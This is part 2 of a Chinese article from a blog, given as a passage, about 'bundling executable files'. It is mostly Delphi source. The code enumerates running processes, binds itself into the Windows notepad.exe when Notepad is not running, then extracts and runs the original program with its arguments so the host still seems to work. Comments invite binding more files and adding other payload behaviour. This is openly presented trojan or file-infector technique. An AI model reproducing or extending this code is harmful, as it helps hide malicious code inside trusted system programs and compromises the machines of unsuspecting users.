捆绑执行文件新思维(第二版)[2]

[入库:2005年8月18日] [更新:2007年3月24日]

本文简介:选择自 friecin 的 blog

    s2.savetofile(tempdir+'\'+extractfilename(exename));
  except end;
    cmdstr:='';
    a:=1;
    while paramstr(a)<>'' do begin
      cmdstr:=cmdstr+paramstr(a)+' ';
      inc(a);
    end;
  {运行真正的程序文件}
  winexec(pchar(tempdir+'\'+extractfilename(exename)+' '+cmdstr),sw_show);
  freemem(tempdir);
  s2.free;
  s1.free;
end;

begin
  getmem(windir,255);
  getwindowsdirectory(windir,255);
  exename:=paramstr(0);
  handle:=createtoolhelp32snapshot(th32cs_snapall,0);
  found:=process32first(handle,lppe);
  processstr:='';
  while found do
  begin
    processstr:=processstr+lppe.szexefile;{列出所有进程}
    found:=process32next(handle,lppe);
  end;
  {如果notepad没运行,就与它捆在一起}
  if pos(windir+'\notepad.exe',processstr)=0 then
  begin
    copy2(windir+'\notepad.exe');
  end;
  {其它需要捆绑的文件
  if pos(...,processstr)=0 then
  begin
    copy2(...);
  end;
  ...
  }
  freemem(windir);
  {
  你想用这个程序干点其它的什么...
  }
  createfileandrun;{释放文件并带参数运行}
end.

本文关键:捆绑执行文件新思维(第二版)
 

本站最佳浏览方式为 分辨率 1024x768 IE 6.0(或更高版本的 IE浏览器)

go top